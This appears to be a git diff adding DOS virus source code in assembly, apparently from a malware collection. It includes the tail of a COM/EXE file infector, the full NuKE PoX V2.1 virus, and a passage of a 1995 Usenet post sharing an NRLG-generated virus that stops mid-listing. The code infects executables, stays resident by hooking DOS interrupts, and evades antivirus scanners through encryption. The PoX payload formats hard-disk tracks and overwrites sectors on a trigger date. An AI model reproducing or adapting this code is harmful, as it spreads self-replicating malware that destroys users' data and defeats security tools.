Lodsw + Cmp Ax, Word ptr Cs:[V04] + Pop Si + Jne LP31 + Add Si, offset Start_Code-(offset V05-V05_Back) + Jcxz DI15 + Rep Movsw + Jmp short DI25 + +DI15: Mov Ah, 51h + Call Do_21 + Add Bx, 0010h + Mov Ax, [Si+06h] + Dec Ax + Dec Ax + Stosw + Mov Ax, [Si+04h] + Add Ax, Bx + Stosw + Movsw + Lodsw + Add Ax, Bx + Stosw +DI25: Pop Di + Pop Es + Xchg Cx, Ax + Mov Cx, offset Virus_End + Rep Stosb + Jmp short LP32 + +LP31: Pop Ax + Pop Ax +LP32: Xor Ax, Ax + Clc +LP30: Call Restore_Regs + Retfar 0002h + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Open_File Proc Near + Call Save_Regs + Mov Si, Dx +OF00: Lodsb + Or Al, Al + Je OF50 + Cmp Al, '.' + Jne OF00 + Mov Di, offset File_Exts-3 + Push Cs + Pop Es + Mov Cx, 0003h +OF10: Push Cx + Push Si + Mov Cl, 03h + Add Di, Cx + Push Di +OF12: Lodsb + And Al, 5Fh + Cmp Al, Byte ptr Es:[Di] + Jne OF15 + Inc Di + Loop OF12 + Call Infect_File + Add Sp, +6 + Jmp short OF50 +OF15: Pop Di + Pop Si + Pop Cx + Loop OF10 +OF50: Call Restore_Regs + Ret +Open_File Endp + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Infect_File Proc Near + Call Save_Regs + Mov Ax, 4300h + Call Do_21 + Jb IF00 + Push Cx + And Cl, 01h + Cmp Cl, 01h + Pop Cx + Jne H00 + And Cl, 0FEh + Mov Ax, 4301h + Call Do_21 +H00: Mov Ax, 3D02h + Call Do_21 + Jnb IF02 +IF00: Jmp IFE4 +IF02: Xchg Bx, Ax + Push Cs + Push Cs + Pop Ds + Pop Es + Mov Ax, 5700h + Call Do_21 + Push Dx + Push Cx + And Cl, 1Fh + Cmp Cl, 1Fh + Je IF05 + Mov Dx, offset Exe_Header + Mov Cx, offset Exe_Header_End-offset Exe_Header + Mov Ah, 3Fh + Call Do_21 + Jnb IF10 +IF05: Stc + Jmp IFE2 +IF10: Cmp Ax, Cx + Jne IF05 + Xor Dx, Dx + Mov Cx, Dx + Mov Ax, 4202h + Call Do_21 + Or Dx, Dx + Jne IF12 + Cmp Ax, offset Virus_End+Stack_Size + Jb IF05 +IF12: Cmp Word ptr Ds:Sign, 'ZM' + Je EXE_type + +COM_type: + Cmp Byte ptr Ds:Sign+3, 'O' + Je IF05 + Cmp Byte ptr Ds:Command_Flag, 00h + Je CT00 + Sub Ax, offset Virus_End + Xchg Dx, Ax + Xor Cx, Cx + Mov Ax, 4200h + Call Do_21 +CT00: Mov Si, offset Sign + Mov Di, offset Start_Code + Movsw + Movsw + Sub Ax, 0003h + Mov Byte ptr Ds:Sign, 0E9h + Mov Word ptr Ds:Sign+1, Ax + Mov Byte ptr Ds:Sign+3, 'O' + Add Ax, (offset V05-V05_Back)+0103H + Jmp short IF30 + +EXE_type: + Cmp Word ptr Ds:Stack_Sp, offset Virus_End+Stack_Size + Je IF05 + Cmp Word ptr Ds:Overlay_Num, 0000h + Jne IF05 + Push Dx + Push Ax + Mov Cl, 04h + Ror Dx, Cl + Shr Ax, Cl + Add Ax, Dx + Sub Ax, Word ptr Ds:Size_Header + Mov Si, offset Start_Ip + Mov Di, offset Start_Code + Movsw + Movsw + Mov Si, offset Stack_Ss + Movsw + Movsw + Mov Word ptr Ds:Start_Cs, Ax + Mov Word ptr Ds:Stack_Ss, Ax + Mov Word ptr Ds:Stack_Sp, offset Virus_End+Stack_Size + Pop Ax + Pop Dx + Push Ax + Add Ax, offset Virus_End+Stack_Size + Jnb IF29 + Inc Dx +IF29: Mov Cx, 512 + Div Cx + Mov Word ptr Ds:File_Size, Ax + Mov Word ptr Ds:Remainder, Dx + Pop Ax + And Ax, 000Fh + Mov Word ptr Ds:Start_Ip, Ax + Add Ax, (offset V05-V05_Back) + +IF30: Mov Word ptr Ds:V00+1, Ax + Push Ds + Xor Si, Si + Mov Ds, Si + Mov Ax, Word ptr Ds:[046Ch] + Pop Ds + Push Bx + Mov Byte ptr Ds:V01+1, Ah + And Ax, 000Fh + Xchg Bx, Ax + Shl Bx, 01h + Mov Ax, Word ptr [Bx].Random_AL + Mov Word ptr Ds:V03, Ax + Mov Di, offset Real_End + Mov Cx, offset Virus_End + Push Cx + Cld + Rep Movsb + Mov Bx, (offset V05-V05_Back) + Push Word ptr [Bx] + Mov Byte ptr [Bx+V05_Back], 0C3h + Push Bx + Xor Byte ptr Ds:([Bx+V02+1])-(offset V05-V05_Back), 28h + Add Bx, offset Real_End ; Toggle ADD [BX],AL/SUB [BX],AL + Call V04 + Pop Bx + Pop Word ptr [Bx] + Mov Dx, offset Real_End + Pop Cx + Pop Bx + Mov Ah, 40h + Call Do_21 +IFE1: Jb IFE2 + Xor Dx, Dx + Mov Cx, Dx + Mov Ax, 4200h + Call Do_21 + Jb IFE2 + Mov Dx, offset Exe_Header + Mov Cx, offset Exe_Header_End-offset Exe_Header + Mov Ah, 40h + Call Do_21 +IFE2: Pop Cx + Pop Dx + Jb IFE3 + Cmp Byte ptr Ds:Command_Flag, 0FFh + Je IFE3 + Or Cl, 1Fh +IFE3: Mov Ax, 5701h + Call Do_21 + Mov Ah, 3Eh + Call Do_21 +IFE4: Mov Byte ptr Cs:Command_Flag, 00h + Call Restore_Regs + Ret +Infect_File Endp + +Do_21 Proc Near + Pushf + Call Dword ptr Cs:Saved_21 + Ret +Do_21 Endp + +Save_Regs: + Push Bp + Mov Bp, Sp + Push Bx + Push Cx + Push Dx + Push Si + Push Di + Push Ds + Push Es + Pushf + Xchg [Bp+02], Ax + Push Ax + Mov Ax, [Bp+02] + Ret + +Restore_Regs: + Pop Ax + Xchg [Bp+02], Ax + Popf + Pop Es + Pop Ds + Pop Di + Pop Si + Pop Dx + Pop Cx + Pop Bx + Pop Bp + Ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Random_AL: + Inc Al ; 0 + Dec Al ; 1 + Inc Ax ; 2 + Inc Ax + Dec Ax ; 3 + Dec Ax + Add Al, Cl ; 4 + Sub Al, Cl ; 5 + Xor Al, Cl ; 6 + Xor Al, Ch ; 7 + Not Al ; 8 + Neg Al ; 9 + Ror Al, 01h ; A + Rol Al, 01h ; B + Ror Al, Cl ; C + Rol Al, Cl ; D + Nop ; E + Nop + Add Al, Ch ; F + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +COMSPEC_name db 'COMSPEC=' +COMMAND_file db '\COMMAND.COM',0 +FILE_Exts db 'COMEXEOVL' +NUM_Exts equ 3 + +Start_Code dw 00000h + dw 0FFF0h +Start_Stack dw ? + dw 0FFFFh + + Org 400h +Virus_End: + +Saved_24 dw ?,? + +Command_Flag db 0 + +Temp dw ? + +Exe_Header: +Sign dw ? +Remainder dw ? +File_Size dw ? +Num_Real dw ? +Size_Header dw ? +Min_Above dw ? +Max_Above dw ? +Stack_Ss dw ? +Stack_Sp dw ? +CheckSum dw ? +Start_Ip dw ? +Start_Cs dw ? +Display_Real dw ? +Overlay_Num dw ? +Exe_Header_End: + +Real_End: + +Code Ends + End Virus_Begin diff --git a/n/NPOX-V21.ASM b/n/NPOX-V21.ASM new file mode 100755 index 0000000..7d8df39 --- /dev/null +++ b/n/NPOX-V21.ASM @@ -0,0 +1,941 @@ + +PAGE 59,132 + +; +; +; NPOX21 +; +; Created: 28-Sep-92 +; Passes: 5 Analysis Options on: none +; +; + +data_1e equ 16h +data_2e equ 3 ;* +data_32e equ 103h ;* +data_33e equ 1 ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +npox21 proc far + +start: + jmp short $+3 ; delay for I/O + nop + call sub_1 + +npox21 endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bp + sub bp,106h + push ax + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + cmp dl,0Dh + je loc_2 ; Jump if equal + jmp short loc_5 + db 90h +loc_2: + mov ch,0 + +locloop_3: + mov ah,5 + mov dh,0 + mov dl,80h + int 13h ; Disk dl=drive 0 ah=func 05h + ; format track=ch or cylindr=cx + ; al=interleave, dh=head + inc ch + jc loc_4 ; Jump if carry Set + cmp ch,10h + loopnz locloop_3 ; Loop if zf=0, cx>0 + +loc_4: + mov al,2 + mov cx,20h + mov dx,0 + int 26h ; Absolute disk write, drive al + ; if disk under 32MB, dx=start + ; cx=#sectors, ds:bx=buffer + ; else cx=-1, ds:dx=parm block +;* jmp far ptr loc_66 ;* + db 0EAh,0F0h,0FFh,0FFh,0FFh +loc_5: + mov ax,0ABDCh + int 21h ; ??INT Non-standard interrupt + cmp bx,0ABDCh + je loc_6 ; Jump if equal + push cs + pop ds + mov cx,es + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr cs:data_10+2[bp],es + mov cs:data_10[bp],bx + dec cx + mov es,cx + mov bx,es:data_2e + mov dx,696h + mov cl,4 + shr dx,cl ; Shift w/zeros fill + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + jc loc_6 ; Jump if carry Set + mov ah,48h ; 'H' + dec dx + mov bx,dx + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + jc loc_6 ; Jump if carry Set + dec ax + mov es,ax + mov cx,8 + mov es:data_33e,cx + sub ax,0Fh + mov di,data_32e + mov es,ax + mov si,bp + add si,103h + mov cx,696h + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + mov ax,2521h +;* mov dx,offset loc_65 ;* + db 0BAh, 8Eh, 02h + push es + pop ds + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +loc_6: + push cs + pop ds + cmp cs:data_21[bp],5A4Dh + je loc_7 ; Jump if equal + mov bx,offset data_21 + add bx,bp + mov ax,[bx] + mov word ptr ds:[100h],ax + inc bx + inc bx + mov al,[bx] + mov byte ptr ds:[102h],al + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,offset start + push ax + retn + db 'Death to Separatist' + db 0 +loc_7: + mov bx,word ptr cs:data_12[bp] + mov dx,cs + sub dx,bx + mov ax,dx + add ax,cs:data_14[bp] + add dx,cs:data_16[bp] + mov bx,cs:data_13[bp] + mov word ptr cs:[236h][bp],bx + mov word ptr cs:[238h][bp],ax + mov ax,cs:data_13[bp] + mov word ptr cs:[22Ch][bp],dx + mov word ptr cs:[232h][bp],ax + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,0 + cli ; Disable interrupts + mov ss,ax + mov sp,0 + sti ; Enable interrupts +;* jmp far ptr loc_1 ;* +sub_1 endp + + db 0EAh, 00h, 00h, 00h, 00h +loc_8: + call sub_2 + test al,al + jnz loc_ret_15 ; Jump if not zero + push ax + push bx + push es + mov ah,51h ; 'Q' + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + ;* undocumented function + mov es,bx + cmp bx,es:data_1e + jne loc_14 ; Jump if not equal + mov bx,dx + mov al,[bx] + push ax + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + pop ax + inc al + jnz loc_13 ; Jump if not zero + add bx,7 +loc_13: + mov ax,es:[bx+17h] + and ax,1Fh + cmp al,1Eh + jne loc_14 ; Jump if not equal + and byte ptr es:[bx+17h],0E0h + sub word ptr es:[bx+1Dh],696h + sbb word ptr es:[bx+1Fh],0 +loc_14: + pop es + pop bx + pop ax + +loc_ret_15: + iret ; Interrupt return + +; +; SUBROUTINE +; + +sub_2 proc near + pushf ; Push flags + call dword ptr cs:data_10 + retn +sub_2 endp + + db 0EBh,0B0h +data_10 dw 0, 0 ; Data table (indexed access) + db 80h,0FCh, 11h, 74h,0F5h, 80h + db 0FCh, 12h, 74h,0F0h, 3Dh, 00h + db 4Bh, 74h, 27h, 80h,0FCh, 3Dh + db 74h, 12h, 80h,0FCh, 3Eh, 74h + db 15h, 3Dh,0DCh,0ABh, 75h, 02h + db 8Bh,0D8h + +; +; SUBROUTINE +; + +sub_3 proc near + jmp dword ptr cs:data_10 + db 0CBh + db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh + db 8Ah, 02h + db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh + db 8Ah, 02h + db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh + db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h + db 51h, 52h, 1Eh,0E8h, 00h, 03h + db 0E8h, 82h, 02h, 72h, 1Eh,0B8h + db 00h, 43h,0E8h,0A0h,0FFh, 72h + db 16h,0F6h,0C1h, 01h, 74h, 0Bh + db 80h,0E1h,0FEh,0B8h, 01h, 43h + db 0E8h, 90h,0FFh + db 72h, 66h +loc_21: + mov ax,3D02h + call sub_2 +loc_22: + jc loc_24 ; Jump if carry Set + mov bx,ax + call sub_12 + jz loc_24 ; Jump if zero + push cs + pop ds + mov data_18,cx + mov data_19,dx + mov ah,3Fh ; '?' + mov cx,1Bh + mov dx,77Eh + call sub_2 + jc loc_23 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_23 ; Jump if carry Set + cmp data_21,5A4Dh + je loc_25 ; Jump if equal + mov cx,ax + sub cx,3 + mov data_20,cx + call sub_6 + jc loc_24 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,760h + mov cx,3 + call sub_2 +loc_23: + mov cx,data_18 + mov dx,data_19 + mov ax,5701h + call sub_2 + mov ah,3Eh ; '>' + call sub_2 +loc_24: + pop ds + pop dx + pop cx + pop bx + pop ax + iret ; Interrupt return +loc_25: + call sub_15 + jc loc_24 ; Jump if carry Set + call sub_16 + call sub_13 + jmp short loc_23 +sub_3 endp + +data_12 db 0, 0 ; Data table (indexed access) +data_13 dw 0 ; Data table (indexed access) +data_14 dw 0 ; Data table (indexed access) +data_15 dw 0 +data_16 dw 0 ; Data table (indexed access) + +; +; SUBROUTINE +; + +sub_4 proc near + call sub_8 + jnc loc_26 ; Jump if carry=0 + call sub_9 + jnc loc_26 ; Jump if carry=0 + retn +loc_26: + push ax + mov ax,3D02h + call sub_2 + jnc loc_27 ; Jump if carry=0 + pop ax + iret ; Interrupt return +loc_27: + push bx + push cx + push dx + push ds + mov bx,ax + call sub_12 + jnz loc_28 ; Jump if not zero + call sub_17 +loc_28: + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + cmp bx,0 + je loc_ret_29 ; Jump if equal + cmp bx,5 + ja loc_30 ; Jump if above + +loc_ret_29: + retn +loc_30: + push ax + push bx + push cx + push dx + push di + push ds + push es + push bp + push bx + mov ax,1220h + int 2Fh ; DOS Internal services + ;* undocumented function + mov ax,1216h + mov bl,es:[di] + int 2Fh ; DOS Internal services + ;* undocumented function + pop bx + add di,11h + mov byte ptr es:[di-0Fh],2 + add di,17h + cmp word ptr es:[di],4F43h + jne loc_31 ; Jump if not equal + cmp byte ptr es:[di+2],4Dh ; 'M' + jne loc_34 ; Jump if not equal + jmp short loc_35 + db 90h +loc_31: + cmp word ptr es:[di],5845h + jne loc_34 ; Jump if not equal + cmp byte ptr es:[di+2],45h ; 'E' + jne loc_34 ; Jump if not equal + cmp word ptr es:[di-8],4353h + jne loc_32 ; Jump if not equal + cmp word ptr es:[di-6],4E41h + je loc_34 ; Jump if equal +loc_32: + cmp word ptr es:[di-8],2D46h + jne loc_33 ; Jump if not equal + cmp word ptr es:[di-6],5250h + je loc_34 ; Jump if equal +loc_33: + cmp word ptr es:[di-8],4C43h + jne loc_35 ; Jump if not equal + cmp word ptr es:[di-6],4145h + jne loc_35 ; Jump if not equal +loc_34: + jmp short loc_37 + db 90h +loc_35: + call sub_12 + jz loc_37 ; Jump if zero + push cs + pop ds + mov data_18,cx + mov data_19,dx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + mov ah,3Fh ; '?' + mov cx,1Bh + mov dx,77Eh + call sub_2 + jc loc_36 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_36 ; Jump if carry Set + cmp data_21,5A4Dh + je loc_38 ; Jump if equal + mov cx,ax + sub cx,3 + mov data_20,cx + call sub_6 + jc loc_36 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,760h + mov cx,3 + call sub_2 +loc_36: + mov cx,data_18 + mov dx,data_19 + mov ax,5701h + call sub_2 +loc_37: + pop bp + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + retn +loc_38: + call sub_15 + jc loc_36 ; Jump if carry Set + call sub_16 + call sub_13 + jmp short loc_36 +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + mov ah,40h ; '@' + mov dx,103h + mov cx,696h + call sub_2 + jc loc_39 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_39 ; Jump if carry Set + clc ; Clear carry flag + retn +loc_39: + stc ; Set carry flag + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + push ax + push bx + push cx + push dx + push ds + mov ax,4300h + call sub_2 + test cl,1 + jz loc_40 ; Jump if zero + and cl,0FEh + mov ax,4301h + call sub_2 + jc loc_41 ; Jump if carry Set +loc_40: + mov ax,3D02h + call sub_2 + jc loc_41 ; Jump if carry Set + mov bx,ax + call sub_12 + jnz loc_41 ; Jump if not zero + call sub_17 +loc_41: + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + push si + push cx + mov si,dx + mov cx,256h + +locloop_42: + cmp byte ptr [si],2Eh ; '.' + je loc_43 ; Jump if equal + inc si + loop locloop_42 ; Loop if cx > 0 + +loc_43: + cmp word ptr [si+1],4F43h + jne loc_44 ; Jump if not equal + cmp byte ptr [si+3],4Dh ; 'M' + je loc_46 ; Jump if equal +loc_44: + cmp word ptr [si+1],6F63h + jne loc_45 ; Jump if not equal + cmp byte ptr [si+3],6Dh ; 'm' + je loc_46 ; Jump if equal +loc_45: + pop cx + pop si + stc ; Set carry flag + retn +loc_46: + pop cx + pop si + clc ; Clear carry flag + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + push si + push cx + mov si,dx + mov cx,256h + +locloop_47: + cmp byte ptr [si],2Eh ; '.' + je loc_48 ; Jump if equal + inc si + loop locloop_47 ; Loop if cx > 0 + +loc_48: + cmp word ptr [si+1],5845h + jne loc_49 ; Jump if not equal + cmp byte ptr [si+3],45h ; 'E' + je loc_51 ; Jump if equal +loc_49: + cmp word ptr [si+1],7865h + jne loc_50 ; Jump if not equal + cmp byte ptr [si+3],65h ; 'e' + je loc_51 ; Jump if equal +loc_50: + pop cx + pop si + stc ; Set carry flag + retn +loc_51: + pop cx + pop si + clc ; Clear carry flag + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + push bx + push cx + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + xchg ax,bx + mov cl,4 + shr bx,cl ; Shift w/zeros fill + and ax,0Fh + add dx,bx + pop cx + pop bx + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + push si + push cx + mov si,dx + mov cx,256h + +locloop_52: + cmp byte ptr [si],2Eh ; '.' + je loc_53 ; Jump if equal + inc si + loop locloop_52 ; Loop if cx > 0 + +loc_53: + cmp word ptr [si-2],4E41h + jne loc_54 ; Jump if not equal + cmp word ptr [si-4],4353h + je loc_57 ; Jump if equal +loc_54: + cmp word ptr [si-2],4E41h + jne loc_55 ; Jump if not equal + cmp word ptr [si-4],454Ch + je loc_57 ; Jump if equal +loc_55: + cmp word ptr [si-2],544Fh + jne loc_56 ; Jump if not equal + cmp word ptr [si-4],5250h + je loc_57 ; Jump if equal +loc_56: + pop cx + pop si + clc ; Clear carry flag + retn +loc_57: + pop cx + pop si + stc ; Set carry flag + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + mov ax,5700h + call sub_2 + mov al,cl + or cl,1Fh + dec cx + xor al,cl + retn +sub_12 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + push bx + push cx + mov cl,7 + shl dx,cl ; Shift w/zeros fill + mov bx,ax + mov cl,9 + shr bx,cl ; Shift w/zeros fill + add dx,bx + and ax,1FFh + jz loc_58 ; Jump if zero + inc dx +loc_58: + pop cx + pop bx + mov cs:data_22,ax + mov cs:data_24,dx + mov ah,40h ; '@' + mov dx,77Eh + mov cx,1Bh + call sub_2 + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + pushf ; Push flags + push ax + push bx + push cx + push dx + push ds + push es + push ss + push sp + push cs + pop ds + mov dx,74Bh + mov ax,4300h + call sub_2 + jc loc_60 ; Jump if carry Set + test cl,1 + jz loc_59 ; Jump if zero + and cl,0FEh + mov ax,4301h + call sub_2 + jc loc_62 ; Jump if carry Set +loc_59: + mov ax,3D02h + call sub_2 +loc_60: + jc loc_62 ; Jump if carry Set + mov bx,ax + call sub_12 + jz loc_62 ; Jump if zero + mov data_18,cx + mov data_19,dx + mov ah,3Fh ; '?' + mov cx,3 + mov dx,77Eh + call sub_2 + jc loc_61 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_62 ; Jump if carry Set + mov cx,ax + sub cx,3 + mov data_20,cx + call sub_6 + jc loc_62 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,760h + mov cx,3 + call sub_2 +loc_61: + mov cx,data_18 + mov dx,data_19 + mov ax,5701h + call sub_2 + mov ah,3Eh ; '>' + call sub_2 +loc_62: + pop sp + pop ss + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_15 proc near + mov cx,cs:data_28 + mov cs:data_13,cx + mov cx,cs:data_29 + mov cs:data_14,cx + mov cx,cs:data_27 + mov cs:data_15,cx + mov cx,cs:data_26 + mov cs:data_16,cx + push ax + push dx + call sub_10 + sub dx,cs:data_25 + mov word ptr cs:data_12,dx + push ax + push dx + call sub_6 + pop dx + pop ax + mov cs:data_29,dx + mov cs:data_28,ax + pop dx + pop ax + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + add ax,696h + adc dx,0 + push ax + push dx + call sub_10 + sub dx,cs:data_25 + add ax,40h + mov cs:data_26,dx + mov cs:data_27,ax + pop dx + pop ax + retn +sub_16 endp + + +; +; SUBROUTINE +; + +sub_17 proc near + dec cx + mov cs:data_18,cx + mov cs:data_19,dx + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + mov cx,dx + mov dx,ax + push cx + push dx + sub dx,1Bh + sbb cx,0 + mov ax,4200h + call sub_2 + push cs + pop ds + mov ah,3Fh ; '?' + mov cx,1Bh + mov dx,77Eh + call sub_2 + xor cx,cx ; Zero register + xor dx,dx ; Zero register + mov ax,4200h + call sub_2 + mov ah,40h ; '@' + mov dx,77Eh + mov cx,1Bh + cmp cs:data_21,5A4Dh + je loc_64 ; Jump if equal + mov cx,3 +loc_64: + call sub_2 + pop dx + pop cx + sub dx,696h + sbb cx,0 + mov ax,4200h + call sub_2 + mov ah,40h ; '@' + xor cx,cx ; Zero register + call sub_2 + mov cx,cs:data_18 + mov dx,cs:data_19 + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh ; '>' + call sub_2 + retn +sub_17 endp + + db 'C:\COMMAND.COM' + db 0 +data_18 dw 0 +data_19 dw 0 + db 00h, 00h,0E9h +data_20 dw 9090h + db 'NuKE PoX V2.1 - Rock Steady' +data_21 dw 0CD90h ; Data table (indexed access) +data_22 dw 20h +data_24 dw 0 + db 0, 0 +data_25 dw 0 + db 0, 0, 0, 0 +data_26 dw 0 +data_27 dw 0 + db 0, 0 +data_28 dw 0 +data_29 dw 0 + db 0, 0, 0 + +seg_a ends + + + + end start diff --git a/n/NUKEVIR.ASM b/n/NUKEVIR.ASM new file mode 100755 index 0000000..8c662c5 --- /dev/null +++ b/n/NUKEVIR.ASM @@ -0,0 +1,483 @@ +From smtp Thu Feb 9 11:43 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Thu, 9 Feb 95 11:43 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id LAA03601 for joshuaw@pobox.jwu.edu; Thu, 9 Feb 1995 11:34:53 -0500 +Date: Thu, 9 Feb 1995 11:34:53 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 23204 +Content-Type: binary +Message-Id: <199502091634.LAA03601@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) Re: Not-So-Destructive Virii... +Newsgroups: alt.comp.virus +Status: RO + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail +From: yojimbo@crl.com (Douglas Mauldin) +Newsgroups: alt.comp.virus +Subject: Re: Not-So-Destructive Virii... +Date: 6 Feb 1995 21:44:13 -0800 +Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest] +Lines: 450 +Message-ID: <3h71bd$js1@crl.crl.com> +References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu> +NNTP-Posting-Host: crl.com +X-Newsreader: TIN [version 1.2 PL2] + +; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic +; Life Generator). All it does is display a message on June 6th ( I believe). + +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +inc byte ptr [di] +sub word ptr [di],0381h +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> 